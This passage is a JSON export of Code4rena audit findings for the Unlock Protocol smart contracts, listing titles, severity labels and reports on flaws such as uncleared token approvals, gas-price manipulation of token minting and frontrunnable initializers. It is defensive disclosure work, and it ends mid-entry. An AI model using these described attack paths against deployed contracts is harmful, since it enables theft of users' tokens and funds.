of token 42 to `V`, but does not clear the `approved[42] == A'` field as described above. (`_setKeyManagerOf(_tokenId, address(0));` is called but the key manager was already zero, which then does not clear approvals.) - A' can claim back the token by calling `transferFrom(V, A', 42)` and the `onlyKeyManagerOrApproved(42)` modifier will pass as `approved[42] == A'` is still set. ## Recommended Mitigation Steps The `_setKeyManagerOf` function should not handle clearing approvals of single-token approvals (`approved`) as these are two separate approval types. The `transferFrom` function should always call `_clearApproval` in the `(previousExpiration <= block.timestamp)` case. "}, {"title": "Can set arbitrary lock templates", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/158", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle cmichel # Vulnerability details The `Unlock.setLockTemplate` function sets the default lock tempalte for new lock creations. However, it does not verify that this lock template is a valid template that was added to `_publicLockVersions` via `addLockTemplate`. ## Impact A default template with a wrong version number can be set which is incompatible with updating locks through `upgradeLock` (requires `version == currentVersion + 1`). ## Recommended Mitigation Steps Add new lock templates using `addLockTemplate` first and restrict `setLockTemplate` to only use these templates, not arbitrary code. "}, {"title": "ERC20 return values not checked", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/157", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "ERC20 return values not checked"}, {"title": "Missing scaling factor in `recordKeyPurchase`?", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/156", "labels": ["bug", "help wanted", "2 (Med Risk)"], "target": "2021-11-unlock-findings", "body": "Missing scaling factor in `recordKeyPurchase`?"}, {"title": "Referrer discount token amount can be manipulated", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/155", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-unlock-findings", "body": "Referrer discount token amount can be manipulated"}, {"title": "Lock template versions can be overwritten", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/154", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Lock template versions can be overwritten"}, {"title": "`initialize` functions can be frontrun", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/153", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "`initialize` functions can be frontrun"}, {"title": "MixinLockCore: use safeApprove from SafeERC20, and do approve(0) before approve(amount)", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/151", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "MixinLockCore: use safeApprove from SafeERC20, and do approve(0) before approve(amount)"}, {"title": "MixinGrantKeys:grantKeys gas optimizations", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/149", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "MixinGrantKeys:grantKeys gas optimizations"}, {"title": "Function grantKeys() - Bulk Send Free Keys Are Not Practical & Gas May Over Block Size Limit", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/147", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "Function grantKeys() - Bulk Send Free Keys Are Not Practical & Gas May Over Block Size Limit"}, {"title": "Avoiding Initialization of Loop Index If It Is 0", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/146", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-unlock-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact The local variable used as for loop index need not be initialized to 0 because the default value is 0. Avoiding this anti-pattern can save a few opcodes and therefore a tiny bit of gas. ## Proof of Concept https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/TransferService.sol#L87 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/AuctionBurnReserveSkew.sol#L54 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Malt.sol#L34-L37 More... ## Tools Used Manual Review ## Recommended Mitigation Steps Remove explicit 0 initialization of for loop index variable. Before: for (uint i = 0; After for (uint i; "}, {"title": "Avoid On Chain Computation That Have Known Answer to Save Gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Avoid On Chain Computation That Have Known Answer to Save Gas"}, {"title": "getTransferFee() Fee Could Be 0", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/140", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "getTransferFee() Fee Could Be 0"}, {"title": "Initialization parameters of new lock template are hardcoded", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/137", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle kenzo # Vulnerability details `setLockTemplate` is initializing the new template using hardcoded values. This means that if a new lock version is set which has different/additional `initialize` parameters, Unlock protocol would have to be updated in order to initialize it. ## Impact Less convenient adding of new locks as Unlock would have to be upgraded if their initialize function has changed. ## Proof of Concept `setLockTemplate` uses the following code to initialize the template: ``` IPublicLock(_publicLockAddress).initialize( address(this), 0, address(0), 0, 0, '' ); ``` https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/Unlock.sol#L430:#L432 Which is hardcoded. This is unlike `createLock` for example, where the initialize call is being received as parameter, to allow different future versions. https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/Unlock.sol#L219 ## Recommended Mitigation Steps Change `setLockTemplate` so the initializing parameters would be received as parameter. "}, {"title": "Unlock has incomplete fallback function which may cause loss of funds", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/136", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "Unlock has incomplete fallback function which may cause loss of funds"}, {"title": "MEV miner can mint larger than expected UDT total supply", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/135", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle elprofesor # Vulnerability details ## Impact `UnlockProtocol` attempts to calculate gas reimbursement using tx.gasprice, typically users who falsify tx.gasprice would lose gas to miners and therefore not obtain any advantage over the protocol itself. This does present capabilities for miners to extract value, as they can submit their own transactions, or cooperate with a malicious user, reimbursing a portion (or all) or the tx.gasprice used. As the following calculation is made; ``` uint tokensToDistribute = (estimatedGasForPurchase * tx.gasprice) * (125 * 10 ** 18) / 100 / udtPrice; ``` we can see that arbitrary tx.gasprices can rapidly inflate the `tokensToDistribute`. Though capped at maxTokens, this value can be up to half the total supply of UDT, which could dramatically affect the value of UDT potentially leading to lucrative value extractions outside of the pool. ## Proof of Concept ## Recommended Mitigation Steps Using an oracle service to determine the average gas price and ensuring it is within some normal bounds that has not been subjected to arbitrary value manipulation. "}, {"title": "Insufficient version validation causes denial of service for `PublicLock` during lock upgrades", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/134", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "Insufficient version validation causes denial of service for `PublicLock` during lock upgrades"}, {"title": "`Unlock.addLockTemplate` does not adequately increment version, leading to gaps in version", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/133", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "`Unlock.addLockTemplate` does not adequately increment version, leading to gaps in version"}, {"title": "Frontrunning `PublicLock.initialize()` can prevent upgrades due to insufficient access control", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/132", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-unlock-findings", "body": "Frontrunning `PublicLock.initialize()` can prevent upgrades due to insufficient access control"}, {"title": "Reduce rounding error when minting UDT in Unlock", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/131", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle HardlyDifficult # Vulnerability details ## Impact `maxTokens` in Unlock's `recordKeyPurchase` currently rounds more than is required. ## Proof of Concept Plug the formula in Wolfgram Alpha to simplify from: ``` maxTokens = IMintableERC20(udt).balanceOf(address(this)) * valueInETH / (2 + 2 * valueInETH / grossNetworkProduct) / grossNetworkProduct; ``` to ``` maxTokens = IMintableERC20(udt).balanceOf(address(this)) * valueInETH / (2 * (valueInETH + grossNetworkProduct)); ``` Example inputs: ``` balance: 10000 price: 0.012345678912345678 gnp: 1000 + 0.012345678912345678 (for this purchase) 61728394561728390 old formula 61727632492197622 new formula (smaller than old) 61726870441482920.98 actual per wolfgram (smaller than new) 1524120245470 delta old - actual 762050714702 delta new - actual ``` The \"new\" formula proposed above is closer to the expected value. It's also easier to read and saves 123 gas. ## Tools Used https://www.wolframalpha.com/ ## Recommended Mitigation Steps "}, {"title": "Gas: remove owners array", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/130", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Gas: remove owners array"}, {"title": "Gas: Cast instead of creating new variables", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/129", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Gas: Cast instead of creating new variables"}, {"title": "Fix event params for `KeyManagerChanged`", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/128", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle HardlyDifficult # Vulnerability details ## Impact KeyManagerChanged does not emit the new manager address as expected. Additionally there's a small gas savings of 1.5k gas by not emitting the event twice in `grantKeys`. ## Proof of Concept Per the event param names, this event should emit the new keyManager's address. That would allow an indexer such as subgraph to track the current manager for each token. However the event currently emits address(0): https://github.com/code-423n4/2021-11-unlock/blob/52f3f3d0524dda28aea327181c3479d85782007b/smart-contracts/contracts/mixins/MixinKeys.sol#L229 Change that line to: `emit KeyManagerChanged(_tokenId, _keyManager);` Additionally this line may be removed: https://github.com/code-423n4/2021-11-unlock/blob/52f3f3d0524dda28aea327181c3479d85782007b/smart-contracts/contracts/mixins/MixinGrantKeys.sol#L48 as the call right before it to `_setKeyManagerOf` will emit the event already. ## Tools Used `yarn test` ## Recommended Mitigation Steps When testing this change only one test failed, and it was due to assuming the index of the event: https://github.com/code-423n4/2021-11-unlock/blob/52f3f3d0524dda28aea327181c3479d85782007b/smart-contracts/test/Lock/grantKeys.js#L80 It would be nice to be more robust like some other tests are, e.g. https://github.com/code-423n4/2021-11-unlock/blob/52f3f3d0524dda28aea327181c3479d85782007b/smart-contracts/test/Lock/grantKeys.js#L49 Also add a test to confirm that the keyManager is emitting in the event. Personally I like Waffle for testing events: https://ethereum-waffle.readthedocs.io/en/latest/getting-started.html?highlight=emits#writing-tests ``` it('Transfer emits event', async () => { await expect(token.transfer(walletTo.address, 7)) .to.emit(token, 'Transfer') .withArgs(wallet.address, walletTo.address, 7); }); ``` "}, {"title": "Gas: Assume 0 when creating struct", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Gas: Assume 0 when creating struct"}, {"title": "Gas: Merge callbacks to Unlock on purchase", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Gas: Merge callbacks to Unlock on purchase"}, {"title": "MixinTransfer:getTransferFee gas optimization with unchecked", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/123", "labels": ["G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "MixinTransfer:getTransferFee gas optimization with unchecked"}, {"title": "MixinLockCore.sol has wrong comments", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/122", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Wrong comment for withdraw(): modifier onlyLockManagerOrBeneficiary also allows the beneficiary to call this function and a beneficiary doesn't need to be a key manager/owner [https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinLockCore.sol#L123](https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinLockCore.sol#L123) Wrong comment for updateBeneficiary(): require statement also allows the beneficiary to call this function and a beneficiary doesn't need to be a key manager/owner [https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinLockCore.sol#L189](https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinLockCore.sol#L189) ## Recommended Mitigation Steps - Fix comments, because the implementation seems to be correct "}, {"title": "Use existing memory version of state variables", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Use existing memory version of state variables"}, {"title": "a single user can become owner of multiple token ids", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/120", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact / POC A single user can become the owner of multiple token ids and break the assumption of the comment [https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinKeys.sol#L181](https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinKeys.sol#L181) of the function numberOfOwners() that it returns \"total number of unique owners\" If a key manager/approved transfers a key with transferFrom() [https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinTransfer.sol#L109](https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinTransfer.sol#L109) to a recipient that also owns a valid key then we don't go into the \"if block\" L131 and also not into the \"if block\" L138 (this is important s.t. no key owner change happens) and go into the \"else block\" L148 (not really important). We end with: fromKey.expirationTimestamp = block.timestamp; and fromKey.tokenId = 0; If the key owner or someone else buys for this key owner again a \"key\" [https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinPurchase.sol#L51](https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinPurchase.sol#L51) satisfies the condition idTo ==0 (bcs of tokenId = 0) and in _assignNewTokenId(toKey); the key gets a new token id and the owner gets also registered as the new owner of the new token id in _recordOwner(_recipient, idTo); The \"old\" key got overwritten but we are now the owner of two token ids. This breaks the comment of numberOfOwners() that it returns \"total number of unique owners\" but for this the key owner that owns now two token ids, we executed \"_recordOwner\" twice and therefore added the same address twice to the owner array [https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinKeys.sol#L327](https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinKeys.sol#L327) ## Tools Used Manual Analysis ## Recommended Mitigation Steps - need to also implement the removal of ownership of a tokenId when it is set 0 zero to be congruent with the state of the key, and also adapt the other logic depending on it "}, {"title": "Setting the admin in initialize initializeProxyAdmin can be frontrun by an attacker", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/117", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-unlock-findings", "body": "Setting the admin in initialize initializeProxyAdmin can be frontrun by an attacker"}, {"title": "4 variables are cached and used only once at `Unlock.sol#upgradeLock`", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "4 variables are cached and used only once at `Unlock.sol#upgradeLock`"}, {"title": "`== true` doesn't bring anything", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/115", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-unlock-findings", "body": "`== true` doesn't bring anything"}, {"title": "`Unlock.sol#RecordKeyPurchases` can be implemented cheaper", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/114", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "`Unlock.sol#RecordKeyPurchases` can be implemented cheaper"}, {"title": "Use unchecked operation to save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Use unchecked operation to save gas"}, {"title": "`MixinGrantKeys.sol` apply requiere statements earlier", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "`MixinGrantKeys.sol` apply requiere statements earlier"}, {"title": "Use safeTransfer consistently instead of transfer", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/109", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Use safeTransfer consistently instead of transfer"}, {"title": "Missing input validation on array lengths (MixinGrantKeys.sol)", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/105", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Missing input validation on array lengths (MixinGrantKeys.sol)"}, {"title": "Cache length at for loop to save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Cache length at for loop to save gas"}, {"title": "Setters of `UnlockProtocolGovernor.sol` can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/101", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Setters of `UnlockProtocolGovernor.sol` can be implemented more efficiently"}, {"title": "`UnlockUtils.sol#address2Str` can be implemented much cheaper", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "`UnlockUtils.sol#address2Str` can be implemented much cheaper"}, {"title": "`freeTrialLength` is used as full refund period", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/96", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "`freeTrialLength` is used as full refund period"}, {"title": "Remove fallback function", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/94", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle HardlyDifficult # Vulnerability details ## Impact Unimplemented calls do not revert, this may cause unexpected behavior in wallets or other contracts. ## Proof of Concept Locks are ERC721s, they also implement some ERC20 style calls such as `transfer`. If a wallet or another contract attempted to treat the contract as a ERC77, `send` would incorrectly appear to work but nothing happens under the hood. It would be better if this call reverted so that the user was aware the function is not supported before even broadcasting the transaction (Metamask will warn you if estimate gas fails). This test currently fails (i.e. calling send does not revert). ``` it(\"Should fail on unknown calls\", async () => { const mock777 = await erc777.at(lock.address); await reverts( mock777.send(destination, 1, '0x', { from: singleKeyOwner }) ) }) ``` ## Tools Used `yarn test` ## Recommended Mitigation Steps Remove this line https://github.com/code-423n4/2021-11-unlock/blob/52f3f3d0524dda28aea327181c3479d85782007b/smart-contracts/contracts/PublicLock.sol#L72 Per the comments there is not a clear reason it's currently included. The test suite still passes when it is removed. "}, {"title": "shareKey onERC721Received tokenId", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/91", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle HardlyDifficult # Vulnerability details ## Impact A contract implementing `ERC721TokenReceiver` is called with a tokenId that was not sent to that address when `shareKey` is used. If the `onERC721Received` implementation included any logic which assumed ownership it may fail, e.g. checking `ownerOf`, `balanceOf` or performing a task such as `transferFrom` to forward the asset to another destination. ## Proof of Concept `shareKey` accepts a `_tokenId` as the source of expiration time to share. It then either mints a new token for the target account or adds time to their existing key. Either way the receiver has a different tokenId than the one that was passed to the `shareKey` function. ## Tools Used n/a ## Recommended Mitigation Steps Change https://github.com/code-423n4/2021-11-unlock/blob/52f3f3d0524dda28aea327181c3479d85782007b/smart-contracts/contracts/mixins/MixinTransfer.sol#L106 from: `require(_checkOnERC721Received(keyOwner, _to, _tokenId, ''), 'NON_COMPLIANT_ERC721_RECEIVER');` to: `require(_checkOnERC721Received(keyOwner, _to, idTo, ''), 'NON_COMPLIANT_ERC721_RECEIVER');` "}, {"title": "Unconventional log emittance confuses Etherscan", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/90", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle kenzo # Vulnerability details Unlock doesn't follow standard ERC721 log emittance. This leads to wrong display values regarding to the lock NFT on Etherscan. ## Impact Etherscan does not show txs correctly, does not count token holders correctly in token page, does not count tokens correctly in user page. ## Proof of Concept A scenario: - Create a new lock - User 1 mints 1 token - User 1 uses `shareKey` and transfers some amount to User 2 At this point Etherscan will show that 3 transfers have been made, under user 2's address page user 2 has 2 keys , and under lock's holders tab user 2 has 2 keys. All this is obviously wrong. This is probably because the transfer event is emitted twice during shareKey: [here](https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinTransfer.sol#L87) and [here](https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinTransfer.sol#L100). Additionally, if user 1 now calls `Cancel And Refund`, user 1 will still have a key under his tokens in his account, and the lock's token page will still list him as a holder, and the transaction won't get shown in Etherscan's token transfers (unlike contract transactions). Probably because it has not emitted any burn event. It just emits a [CancelKey event](https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinRefunds.sol#L111). ## Recommended Mitigation Steps You can align the logs emittance to match regular ERC721 logs if you'd like Etherscan to show correct amounts. It might get confusing to keep it like this. "}, {"title": "Less than 256 uints are not gas efficient", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "# Handle defsec # Vulnerability details ## Impact Lower than uint256 size storage instance variables are actually less gas efficient. E.g. using uint32 does not give any efficiency, actually, it is the opposite as EVM operates on default of 256-bit values so uint32 is more expensive in this case as it needs a conversion. It only gives improvements in cases where you can pack variables together, e.g. structs. ## Proof of Concept 1. Navigate to the following contracts. ``` https://github.com/XDeFi-tech/xdefi-distribution/blob/master/contracts/XDEFIDistribution.sol#L301 ``` 2. Expiry value is just used for the comparison with the block.timestamp. ## Tools Used None ## Recommended Mitigation Steps Consider to review all uint types. Change them with uint256 If the integer is not necessary to present with uint32. "}, {"title": "Key transfer will destroy key if from==to", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle kenzo # Vulnerability details If calling `transferFrom` with `_from == _recipient`, the key will get destroyed (meaning the key will be set as expired and set the owner's key to be 0). ## Impact A key manager or approved might accidently destroy user's token. Note: this requires user error and so I'm not sure if this is a valid finding. However, few things make me think that it is valid: - Unlock protocol checks for transfer to 0-address, so some input validation is there - Since other entities other than the owner can be allowed to transfer owner's token, it might be best to make sure such accidental mistake could not happen. - This scenario manifests a unique and probably unintended behavior ## Proof of Concept By following `transferFrom`'s execution: https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinTransfer.sol#L109:#L166 One can see that in the case where `_from == _recipient` with a valid key: - The function will deduct transfer fee from the key - The function will incorrectly add more time to the key's expiration ([L151](https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinTransfer.sol#L151)) - The function will expire and reset the key ([L155](https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinTransfer.sol#L155:#L158)) Therefore, the user will lose his key without getting a refund. ## Recommended Mitigation Steps Add a require statement in the beginning of `transferFrom`: `require(_from != _recipient, 'TRANSFER_TO_SELF');` "}, {"title": "Input validation of Zero address on function initialize()", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/86", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-11-unlock-findings", "body": "Input validation of Zero address on function initialize()"}, {"title": "Confliction on double `initialize` functions front-run `minter` ", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/85", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Confliction on double `initialize` functions front-run `minter` "}, {"title": "Wrong event parameter emitted at _setKeyManagerOf", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/84", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle kenzo # Vulnerability details `_setKeyManagerOf` always emits `address(0)` as the new key manager. ## Impact Wrong event emitted. ## Proof of Concept The code is: `emit KeyManagerChanged(_tokenId, address(0));` https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinKeys.sol#L229 ## Recommended Mitigation Steps Change line to `emit KeyManagerChanged(_tokenId, _keyManager);` "}, {"title": "Input validation of Zero address on addLockTemplate", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/83", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Input validation of Zero address on addLockTemplate"}, {"title": "Wrong comment in recordKeyPurchase", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/82", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Wrong comment in recordKeyPurchase"}, {"title": "Input validation Zero address", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/81", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Input validation Zero address"}, {"title": "Missing `_beforeTokenTransfer` Token Transfer Handle", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle hagrid # Vulnerability details ## Details `UnlockDiscountTokenV2.sol` has override for `_afterTokenTransfer` handler function to control events or operations after token transfers. Also, the `UnlockDiscountTokenV2.sol` uses another token contracts from `ERC20Patched.sol`. In `ERC20Patched.sol` contract there are also `_beforeTokenTransfer` transfer handles. However, the `UnlockDiscountTokenV2.sol` token does not have any override for `_beforeTokenTransfer` method. ## Impact Contract will not react to any operations before token transfers. If gas calculations are aimed on UnlockToken's transfer, it will not be possible to calculate correct gas amounts without these both handlers (_beforeTokenTransfer and _afterTokenTransfer) ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ## Recommended Mitigation Steps Possible fix is implementing additional override for `_beforeTokenTransfer` method: ``` function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20Upgradeable, ERC20VotesUpgradeable) { return ERC20VotesUpgradeable._beforeTokenTransfer(from, to, amount); } ``` "}, {"title": "input validation", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/77", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "input validation"}, {"title": "Function type from public to external tokenByIndex()", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle BouSalman # Vulnerability details ## Vulnerability Description Some of the implemented functions inside the smart contracts are of type Public, However these functions are not used within the contracts. The function **tokenByIndex()** is part of the EIP721 which define it as external function. ## Impact Coding style quality. ## Proof of Concept https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/mixins/MixinERC721Enumerable.sol#L35 ## Tools Used manual code review. ## Recommended Mitigation Steps Change the function to external and follow the ERC721 Specs when implementing: https://eips.ethereum.org/EIPS/eip-721#specification "}, {"title": "Missing event for critical updateBeneficiary function", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/75", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle BouSalman # Vulnerability details ## Vulnerability description The function **updateBeneficiary** in the **MixinLockCore** smart contract is used to lets the owner of the lock update the beneficiary account which receives funds on withdrawal. ## Impact Attackers can change the beneficiary address using this function before continue with the withdrawal function. Unlock protocol team and users can't log or monitor this critical changes. ## Proof of Concept https://github.com/code-423n4/2021-11-unlock/blob/52f3f3d0524dda28aea327181c3479d85782007b/smart-contracts/contracts/mixins/MixinLockCore.sol#L192 ## Tools Used manual code review ## Recommended Mitigation Steps define event and emit it to track changes done to the system. "}, {"title": "Unimplemented function computeAvailableDiscountFor ", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact The function computeAvailableDiscountFor is left unimplemented in Unlock.sol. Recommend implementing this function or removing it. ## Proof of Concept https://github.com/code-423n4/2021-11-unlock/blob/ec41eada1dd116bcccc5603ce342257584bec783/smart-contracts/contracts/Unlock.sol#L269 ## 